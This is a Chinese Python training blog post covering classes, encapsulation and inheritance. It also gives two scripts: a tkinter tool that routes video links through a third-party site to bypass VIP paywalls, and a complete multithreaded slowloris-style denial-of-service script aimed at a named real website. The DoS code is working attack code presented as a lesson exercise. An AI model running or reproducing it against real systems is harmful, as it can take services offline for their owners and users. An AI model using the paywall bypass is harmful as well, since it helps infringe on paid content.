Python实训记录 Two day

Two day

  • 类与对象
  • 面向对象
  • 实例
    • 破解全网vip视频脚本
    • DOS攻击拒绝服务
类与对象
类:有相同属性和相同行为的聚合体(模版)
作用:编程解决现实问题,基础类{相同属性、行为},基于类创建出N的对象
例子:ppt模版,为了让你快速基于模版创建一个UI界面、动画、文字样式的ppt
class ClassName:
属性=变量描述
行为=函数描述
对象:class的实例
对象从哪来?class
作用:对象也是变量,内存管理,具体到一个事物,独立个体,可以访问模版的属性和函数
实例化次数:单例模式:1次 默认:无数次
obj = ClassName()
obj.attrs
obj.funciton()
面向对象
# 抽象:明星
class Star():

    # 属性:
    # 1.公开属性 外部可访问
    # 2.__私有属性 外部不可访问
    name = ""
    sex = ""
    fans = ""
    tag = ""
    # 封装的概念:
    # 1.属性私有化 
    __home = ""
    __lover = ""
    
    # 2.GetAndSet
    def getHome(self):
        return self.__home
    
    def setHome(self,home):
        self.__home = home
        
    def getLover(self):
        return self.__lover
    
    def setLover(self,lover):
        self.__lover = lover
        
    # 类函数:不能直接通过名称引用属性
    # self: 缺省参数,不用传递数据,实例对象
    def basketBall(self):
        print(self.name,self.sex,"篮球")

    def dance(self):
        print(self.name,self.sex,"舞蹈")
       
    # 内置函数
    def __init__(self,name,sex,fans): # 最高优先自调用:初始化
        self.name = name
        self.sex = sex
        self.fans = fans    
    def __del__(self): # 最低自调用:收尾
        self.name = ""
        self.sex = ""
        self.fans = ""
        print("END")
    def __str__(self): # print(obj)自调用,返回一个字符串
        return "Star - attrs - name:"+self.name+" sex:"+self.sex    
 
# 对象
star1 = Star("小李子","帅哥、绅士.男","1亿")
print(star1.name,star1.sex,star1.fans)
star1.basketBall()
star1.setHome("地球村")
star1.setLover("阿里客服、华为客服、百度客服")
print(star1.getHome(),star1.getLover())
star2 = Star("李小龙","帅哥、绅士.男","1亿")
print(star2.name,star2.sex,star2.fans)
star2.basketBall()
star2.setHome("中国")
star2.setLover("阿里客服、华为客服、百度客服")
print(star2.getHome(),star2.getLover())
print(star1)

在这里插入图片描述

继承
子类继承父类,拥有父类的一切,继承单向继承
语法:class ChildStar(父类,父类,父类,父类,父类...................)
class ChildStar(Star):
    pass # 占一行的位置,什么都不做

childStar = ChildStar("杨幂","girl","5000w")
print(childStar)

破解全网vip视频脚本

收集信息,利用第三方破解

import tkinter,re,webbrowser  #thinter GUI开发,re 正则表达式,webbrowser 浏览器接口
import tkinter.messagebox as msgbox #信息提示框

from urllib import parse #地址加密urllib.prase
import urllib.parse #URL地址加密


class APP:
    
    # 初始化GUI界面
    def __init__(self,width=500,height=300,title="全网VIP视频破解"):
        
        self.width = width
        self.height = height
        self.title = title
        
        # 创建窗口,设置标题
        self.root = tkinter.Tk(className=self.title)
        
        # 创建tkinter的字符变量
        # 通道选择保存
        self.v = tkinter.IntVar() # int
        self.v.set(1) # 赋值:1
        
        # 访问地址保存
        self.url = tkinter.StringVar() # str
        
        # 创建容器 Frame 有定位属性,可以把内部的控制按照排版定位
        frame_1 = tkinter.Frame(self.root)
        frame_2 = tkinter.Frame(self.root)
        
        # 创建控件
        # 边距:ipad 内部边距 pad 外部边距 默认:像素
        group = tkinter.Label(frame_1,text="暂时只有一个视频播放通道",padx=10,pady=10)
        # text 文本 variable 关联变量 value 默认值
        tb = tkinter.Radiobutton(frame_1,text="唯一通道",variable=self.v,value=1,width=10,height=3)
        
        label = tkinter.Label(frame_2,text="请输入视频链接")
        entry = tkinter.Entry(frame_2,textvariable=self.url,width=35)
        
        # font 字体
        # command 指令,可以捆绑一个函数响应
        play = tkinter.Button(frame_2,text="播放",font=("楷体",12),width=2,height=1,command=self.video_play)
        
        
        # 根据容器刚好容纳放置控件大小
        frame_1.pack()
        frame_2.pack()
        
        # 栅格定位
        group.grid(row=0,column=0)
        tb.grid(row=0,column=1)
        
        label.grid(row=0,column=0)
        entry.grid(row=0,column=1)
        play.grid(row=0,column=2,ipadx=10,ipady=10)
        
    
    # 破解视频
    def video_play(self):
        # 第三方视频的接口
        path = "http://www.wmxz.wang/video.php?url="
        # re.match()匹配正则,是否满足条件
        if re.match(r"https?:/{2}\w.+$",self.url.get()):
            # 路径加密:把中文、特殊字符转化成二进制
            ip = parse.quote_plus(self.url.get())
            # 调用本地浏览器
            webbrowser.open(url=path+ip)
        else:   
            msgbox.showerror(title="错误",message="视频地址无效,请重新输入")

    # 启动类
    def run(self):
        # 设置窗口的大小
        self.root.geometry(str(self.width)+"x"+str(self.height))
        # 允许用户控制窗口的大小
        self.root.resizable(width=True,height=True)
        # 启动窗口
        self.root.mainloop()

app = APP()
app.run()

Dos攻击拒绝服务

import socket # 通信
import time # 时间
import threading # 线程模块
MAX_CONN = 200 # 最大链接值
HOST = "www.bjlovedog.com" # 主机
PAGE = "/index.php" # 主机的页面
POST = 80 # 主机端口
# %s 在字符串格式化指定数据
BUF = ("POST %s HTTP/1.1\r\n"
       "HOST: %s\r\n"
       "Content-Length: 10000000\r\n"
       "Cookie: dklkt_dos_test\r\n"
       "\r\n"
      )%(PAGE,HOST)
sockets = [] # 保存通信对象 列表
def conn_thread(): # 创建链接对象并保存到sockets
    global sockets # 标注全局变量
    for i in range(0,MAX_CONN): # 迭代器:0~200  整数列表[0,1,2,3,..199]
        sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            # 链接函数 1 主机IP 2 主机端口
            sock.connect((HOST,POST))
            # 发送内容 1 内容
            sock.send(BUF.encode())
            # 保存
            sockets.append(sock)
            print("Send Buf OK!,conn=%d\n"%i)#创建链接对象的数量    
        except Exception as e:
            # 1.手动抛出异常,打断脚本执行,抛出异常,提示具体的异常代码行
            # raise e
            # 2.把异常打印,不处理
            print("不能和这个服务器创建链接或者发送内容Error:%s"%e)
            time.sleep(10) # 睡眠时间
            continue # 继续
def send_thread(): # 使用sockets内的通信对象发送消息
    global sockets # 标注全局变量
    while True: # 死循环
        for sock in sockets:
            try:
                # 发送内容 1 内容
                sock.send("f".encode())
                print("Send Buf OK!")
            except Exception as e:
                # 1.手动抛出异常,打断脚本执行,抛出异常,提示具体的异常代码行
                # raise e
                # 2.把异常打印,不处理
                print("不能和这个服务器创建链接或者发送内容Error:%s"%e)
                sockets.remove(sock)
                sock.colose()
                continue # 继续   
        # 间隔2秒
        time.sleep(2)

多线程

th_conn = threading.Thread(target=conn_thread,args=())
th_send = threading.Thread(target=send_thread,args=())
# 开启线程
th_conn.start()
th_send.start()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值